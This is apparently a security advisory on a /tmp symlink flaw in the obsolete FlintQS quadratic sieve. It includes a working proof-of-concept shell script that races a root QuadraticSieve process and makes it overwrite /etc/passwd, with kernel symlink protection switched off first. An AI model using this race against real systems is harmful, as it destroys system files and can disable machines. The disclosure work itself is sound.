posted 2023-04-06
When it is set, FlintQS uses predictable paths under TMPDIR which is typically world-writable. This can be exploited in well-known ways. In particular, an attacker can make FlintQS overwrite files belonging to the user who runs it.
FlintQS uses temporary files in both src/QS.cpp and src/lprels.cpp. Paraphrasing,
char * tmp_dir = getenv("TMPDIR");
if (tmp_dir == NULL) tmp_dir = "./";
char * TMP_name = get_filename(tmp_dir,unique_filename(TMP_str));
FILE * TMP = fopen(TMP_name,"w");First we notice that if TMPDIR is unset, that the current working directory will be used for temporary files. This encourages you to set TMPDIR, because otherwise FlintQS will crash in unwritable directories:
user $ cd /
user $ echo 3839763400000000000000000000000000000000 | QuadraticSieve
Input number to factor [ >=40 decimal digits]: Unable to open temporary file
Aborted
So suppose that TMPDIR is set—on Linux it will
typically be a world-writable directory like
/tmp. The get_filename() function
concatenates its two arguments, directory and file names, to make a
complete path; and the unique_filename() function
simply appends the current UID and PID to the given string. The end
result is a somewhat unique but entirely predictable name in a
world-writable directory, since the UID and PID of a process are
usually visible to other users on the machine. To see what these
names look like with a UID of 1000, we can Ctrl-C
while FlintQS is running:
user $ export TMPDIR=/tmp
user $ echo 3839763400000000000000000000000000000000 | QuadraticSieve
Input number to factor [ >=40 decimal digits]: 20 full relations, 0 combined relations
41 full relations, 0 combined relations
62 full relations, 0 combined relations
76 full relations, 0 combined relations
98 full relations, 0 combined relations
...
lanczos halted after 1 iterations
lanczos halted ^C
user $ ls /tmp/*.*.*
-rw-r--r-- 1 mjo mjo 0 2023-04-06 09:18 /tmp/comb.1000.26163
-rw-r--r-- 1 mjo mjo 0 2023-04-06 09:18 /tmp/flprels.1000.26163
-rw-r--r-- 1 mjo mjo 0 2023-04-06 09:18 /tmp/fnew.1000.26163
-rw-r--r-- 1 mjo mjo 157K 2023-04-06 09:18 /tmp/frels.1000.26163
-rw-r--r-- 1 mjo mjo 0 2023-04-06 09:18 /tmp/lpnew.1000.26163
-rw-r--r-- 1 mjo mjo 800 2023-04-06 09:18 /tmp/lprels.1000.26163
-rw-r--r-- 1 mjo mjo 0 2023-04-06 09:18 /tmp/rels.1000.26163
Since FlintQS opens these paths with a bare fopen(), it
is vulnerable to all of the usual
/tmp exploits. In particular, an attacker
who can figure out the UID and PID fast enough can overwrite files
belonging to the user who runs
QuadraticSieve. For a proof-of-concept,
make sure your kernel isn't hardened against exactly the thing we're
going to do:
root # sysctl fs.protected_symlinks=0
fs.protected_symlinks = 0
Next, make a backup of /etc/passwd:
root # cp -a /etc/passwd /root
The following script will scan the output of ps, looking for any root QuadraticSieve processes. When such a process is found, the script creates a symlink to /etc/passwd, which FlintQS should then overwrite. We first set TMPDIR and then launch it as a non-root user.
user $ cat exploit.sh
EXT=""
while [ -z "${EXT}" ]; do
EXT=$(ps -u 0 -C QuadraticSieve -o uid=,pid= | tr -s ' ' | tr ' ' .)
done
PATHNAME="${TMPDIR}/rels${EXT}"
ln -s /etc/passwd "${PATHNAME}"
user $ export TMPDIR=/tmp
user $ sh exploit.sh
Now, as root, (you backed up /etc/passwd, right?), launch QuadraticSieve with a nice big argument:
root # echo 2239744742208359750202459571862470963447786169650421560804978144723333977920476664877327716487683639603 | QuadraticSieve
The exploit script will now terminate, having created its
symlink. And your /etc/passwd is probably gone
already. When you're convinced, kill that
QuadraticSieve process, and don't forget
to restore your backup of /etc/passwd and
re-enable fs.protected_symlinks:
root # mv /root/passwd /etc/
root # sysctl fs.protected_symlinks=1
fs.protected_symlinks = 1
The FlintQS repository is archived, and FlintQS is being replaced in SageMath. In other words, FlintQS is obsolete and should not be used. If you need a command-line quadratic sieve, something like this should do.
#include <stdio.h>
#include <flint fmpz.h>
#include <flint fmpz_factor.h>
#include <flint qsieve.h>
int main(int argc, char** argv) {
fmpz_factor_t factors;
fmpz_t n;
if (argc < 2) {
return 1;
}
fmpz_set_str(n, argv[1], 10);
fmpz_factor_init(factors);
qsieve_factor(factors, n);
fmpz_factor_print(factors);
printf("\n");
fmpz_factor_clear(factors);
return 0;
}Compile, and the result will factor its first command-line argument:
user $ gcc flintqs.c -lflint -o flintqs
user $ ./flintqs 38397634
2 * 11 * 79 * 22093